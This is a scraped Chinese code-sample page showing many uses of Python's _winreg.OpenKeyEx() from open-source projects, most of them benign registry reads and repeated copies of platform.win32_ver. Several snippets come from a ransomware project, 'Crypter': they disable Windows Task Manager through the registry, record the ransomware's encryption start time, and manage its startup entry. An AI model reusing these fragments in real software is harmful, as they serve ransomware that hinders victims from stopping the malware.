Python _winreg 模块,OpenKeyEx() 实例源码

我们从Python开源项目中,提取了以下27个代码示例,用于说明如何使用_winreg.OpenKeyEx()

项目:Crypter    作者:sithis993    | 项目源码 | 文件源码
def enable(self):
        '''
        @summary: Disables Windows Task Manager
        '''
        key_exists = False

        # Try to read the key
        try:
            reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION)
            disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0]
            _winreg.CloseKey(reg)
            key_exists = True
        except:
            pass

        # If key exists and is disabled, enable it
        if key_exists and disabled:
            reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 
                                  self.DISABLE_KEY_LOCATION,
                                  0,
                                  _winreg.KEY_SET_VALUE)
            _winreg.SetValueEx(reg, "DisableTaskMgr", 0,  _winreg.REG_DWORD, 0x00000000)
            _winreg.CloseKey(reg)
项目:Crypter    作者:sithis993    | 项目源码 | 文件源码
def get_start_time(self):
    '''
    @summary: Get's Crypter's start time from the registry, or creates it if it
    doesn't exist
    @return: The time that the ransomware began it's encryption operation, in integer epoch form 
    '''

    # Try to open registry key
    try:
      reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
      start_time = _winreg.QueryValueEx(reg, "")[0]
      _winreg.CloseKey(reg)
    # If failure, create the key
    except WindowsError:
      start_time = int(time.time())
      reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
      _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time))
      _winreg.CloseKey(reg)

    return start_time
项目:pefile.pypy    作者:cloudtracer    | 项目源码 | 文件源码
def has_sound(sound):
    """Find out if a particular event is configured with a default sound"""
    try:
        # Ask the mixer API for the number of devices it knows about.
        # When there are no devices, PlaySound will fail.
        if ctypes.windll.winmm.mixerGetNumDevs() is 0:
            return False

        key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER,
                "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound))
        value = _winreg.EnumValue(key, 0)[1]
        if value is not u"":
            return True
        else:
            return False
    except WindowsError:
        return False
项目:ndk-python    作者:gittor    | 项目源码 | 文件源码
def has_sound(sound):
    """Find out if a particular event is configured with a default sound"""
    try:
        # Ask the mixer API for the number of devices it knows about.
        # When there are no devices, PlaySound will fail.
        if ctypes.windll.winmm.mixerGetNumDevs() is 0:
            return False

        key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER,
                "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound))
        value = _winreg.EnumValue(key, 0)[1]
        if value is not u"":
            return True
        else:
            return False
    except WindowsError:
        return False
项目:dictationbridge-nvda    作者:dictationbridge    | 项目源码 | 文件源码
def onUninstall():
    path = os.path.join(config.getUserDefaultConfigPath(), ".dbInstall")
    if os.path.exists(path):
        #This is an update. Bail.
        os.remove(path)
        return
    key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "Environment", 0, _winreg.KEY_READ | _winreg.KEY_WRITE)
    try:
        value, typ = _winreg.QueryValueEx(key, "Path")
    except:
        return
    if value is None or value == "":
        return
    dir = os.path.dirname(__file__)
    if not isinstance(dir, unicode):
        dir = dir.decode(sys.getfilesystemencoding())
    dir = dir.replace(addonHandler.DELETEDIR_SUFFIX, "")
    if value.find(dir) != -1:
        value = value.replace(";" + dir, "")
        value = value.replace(dir + ";", "")
        value = value.replace(dir, "")
        _winreg.SetValueEx(key, "Path", None, typ, value)
        sendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, u"Environment")
项目:PythonForWindows    作者:hakril    | 项目源码 | 文件源码
def phkey(self):
        if self._phkey is not None:
            return self._phkey
        try:
            self._phkey = _winreg.OpenKeyEx(self.surkey.phkey, self.name, 0, self.sam)
        except WindowsError as e:
            raise WindowsError(e.winerror, "Could not open registry key <{0}> ({1})".format(self.fullname, e.strerror))
        return self._phkey
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def isWinNT(self):
        """Are we running in Windows NT?"""
        if self.getType() == 'win32':
            import _winreg
            try:
                k=_winreg.OpenKeyEx(_winreg.HKEY_LOCAL_MACHINE,
                                    r'Software\Microsoft\Windows NT\CurrentVersion')
                _winreg.QueryValueEx(k, 'SystemRoot')
                return 1
            except WindowsError:
                return 0
        # not windows NT
        return 0
项目:purelove    作者:hucmosin    | 项目源码 | 文件源码
def open(cls, *args, **kargs):
        return _RegKeyDict(_winreg.OpenKeyEx(*args, **kargs))
项目:purelove    作者:hucmosin    | 项目源码 | 文件源码
def subkey(self, name):
        return _RegKeyDict(_winreg.OpenKeyEx(self.key, name))
项目:constructor    作者:conda    | 项目源码 | 文件源码
def get_previous_install_prefixes(pyversion, arch, allusers=True):
    """Returns a list of prefixes for all old installations of this arch so that
       they can be removed from PATH if present. Note, it would be preferable to
       uninstall them properly instead.
    """
    if allusers:
        # All Users
        key, subkey = (reg.HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\')
    else:
        # Just Me
        key, subkey = (reg.HKEY_CURRENT_USER, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\')

    keylist = []
    # We ignore pyversion and instead look for any *conda installations.
    regex = re.compile('Python \S+ \(\S+conda[0-9]+ \S+ '+arch+'\)')
    _reg_query_sub_keys(key, subkey, keylist)
    results = []
    for uninstsubkey in keylist:
        final_part = os.path.basename(uninstsubkey.rstrip('\\'))
        if regex.match(final_part):
            try:
                with reg.OpenKeyEx(key, uninstsubkey, 0,
                                 reg.KEY_QUERY_VALUE) as keyhandle:
                    reg_value = reg.QueryValueEx(keyhandle, 'UninstallString')
                    results.append(os.path.dirname(re.sub(r'^"|"$', '', reg_value[0])))
            except:
                pass
    return results
项目:Crypter    作者:sithis993    | 项目源码 | 文件源码
def disable(self):
        '''
        @summary: Disables Windows Task Manager
        '''
        key_exists = False


        # Try to read the key
        try:
            reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION)
            disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0]
            _winreg.CloseKey(reg)
            key_exists = True
        except:
            pass

        # If key doesn't exist, create it and set to disabled
        if not key_exists:
            reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 
                                  self.DISABLE_KEY_LOCATION)
            _winreg.SetValueEx(reg, "DisableTaskMgr", 0,  _winreg.REG_DWORD, 0x00000001)
            _winreg.CloseKey(reg)
        # If enabled, disable it
        elif key_exists and not disabled:
            reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 
                                  self.DISABLE_KEY_LOCATION,
                                  0,
                                  _winreg.KEY_SET_VALUE)
            _winreg.SetValueEx(reg, "DisableTaskMgr", 0,  _winreg.REG_DWORD, 0x00000001)
            _winreg.CloseKey(reg)
项目:Crypter    作者:sithis993    | 项目源码 | 文件源码
def __remove_from_startup_programs(self):
      '''
      @summary: Removes Crypter from the list of startup programs
      @todo: Code and test
      '''

      try:
          reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE)
          _winreg.DeleteValue(reg, "Crypter")
          _winreg.CloseKey(reg)
      except WindowsError:
          pass
项目:Crypter    作者:sithis993    | 项目源码 | 文件源码
def delete_registry_entries(self):
    '''
    @summary: Deletes the timer registry key
    '''

    # Open and delete the key
    try:
        reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
        _winreg.DeleteKeyEx(reg, "")
        _winreg.CloseKey(reg)
    except WindowsError:
        # Ignore any Windows errors
        pass
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def isWinNT(self):
        """Are we running in Windows NT?"""
        if self.getType() == 'win32':
            import _winreg
            try:
                k=_winreg.OpenKeyEx(_winreg.HKEY_LOCAL_MACHINE,
                                    r'Software\Microsoft\Windows NT\CurrentVersion')
                _winreg.QueryValueEx(k, 'SystemRoot')
                return 1
            except WindowsError:
                return 0
        # not windows NT
        return 0
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def open(cls, *args, **kargs):
        return _RegKeyDict(_winreg.OpenKeyEx(*args, **kargs))
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def subkey(self, name):
        return _RegKeyDict(_winreg.OpenKeyEx(self.key, name))
项目:maestro    作者:InWorldz    | 项目源码 | 文件源码
def open(self, keyhandle, keypath, flags = None):
        if type(keypath) is str:
            keypath = keypath.split('\\')
        if flags is None:
            for subkey in keypath:
                keyhandle = _winreg.CreateKey(keyhandle, subkey)
        else:
            for subkey in keypath:
                keyhandle = _winreg.OpenKeyEx(keyhandle, subkey, 0, flags)
        self.keyhandle = keyhandle
项目:jaraco.windows    作者:jaraco    | 项目源码 | 文件源码
def cookie_dir(self):
        import _winreg as winreg
        key = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, 'Software'
            '\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
        cookie_dir, type = winreg.QueryValueEx(key, 'Cookies')
        return cookie_dir
项目:dictationbridge-nvda    作者:dictationbridge    | 项目源码 | 文件源码
def onInstall(postPathBug = False):
    #Add ourself to the path, so that commands when spoken can be queried to us.
    #Only if we are truely installing though.
    addons = []
    if not postPathBug:
        addons = addonHandler.getAvailableAddons()
    for addon in addons:
        if addon.name=="DictationBridge":
            #Hack to work around condition where
            #the uninstaller removes this addon from the path
            #After the installer for the updator ran.
            #We could use version specific directories, but wsr macros Does not
            #play nice with refreshing the path environment after path updates,
            # requiring a complete reboot of wsr, or commands spontaneously break cripticly.
            with open(os.path.join(config.getUserDefaultConfigPath(), ".dbInstall"), 
                "w") as fi:
                fi.write("dbInstall")
                return
    key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "Environment", 0, _winreg.KEY_READ | _winreg.KEY_WRITE)
    try:
        value, typ = _winreg.QueryValueEx(key, "Path")
    except:
        value, typ = None, _winreg.REG_EXPAND_SZ
    if value is None:
        value = ""
    dir = os.path.dirname(__file__)
    if not isinstance(dir, unicode):
        dir = dir.decode(sys.getfilesystemencoding())
    dir = dir.replace(addonHandler.ADDON_PENDINGINSTALL_SUFFIX, "")
    log.info("addon directory: %r" % dir)
    log.info("current PATH: %r" % value)
    if value.lower().find(dir.lower()) == -1:
        if value != "":
            value += ";"
        value += dir
        log.info("new PATH: %r" % value)
        _winreg.SetValueEx(key, "Path", None, typ, value)
        sendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, u"Environment")
项目:Intranet-Penetration    作者:yuxiaokui    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:MKFQ    作者:maojingios    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:oil    作者:oilshell    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:python2-tracer    作者:extremecoders-re    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:xxNet    作者:drzorm    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:empyrion-python-api    作者:huhlig    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype
项目:Docker-XX-Net    作者:kuanghy    | 项目源码 | 文件源码
def win32_ver(release='', version='', csd='', ptype=''):
    try:
        from sys import getwindowsversion
    except ImportError:
        return release, version, csd, ptype
    try:
        from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
    except ImportError:
        from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE

    winver = getwindowsversion()
    maj, min, build = _get_real_winver(*winver[:3])
    version = '{0}.{1}.{2}'.format(maj, min, build)

    release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
               _WIN32_CLIENT_RELEASES.get((maj, None)) or
               release)

    # getwindowsversion() reflect the compatibility mode Python is
    # running under, and so the service pack value is only going to be
    # valid if the versions match.
    if winver[:2] == (maj, min):
        try:
            csd = 'SP{}'.format(winver.service_pack_major)
        except AttributeError:
            if csd[:13] == 'Service Pack ':
                csd = 'SP' + csd[13:]

    # VER_NT_SERVER = 3
    if getattr(winver, 'product_type', None) == 3:
        release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
                   _WIN32_SERVER_RELEASES.get((maj, None)) or
                   release)

    key = None
    try:
        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
        ptype = QueryValueEx(key, 'CurrentType')[0]
    except:
        pass
    finally:
        if key:
            CloseKey(key)

    return release, version, csd, ptype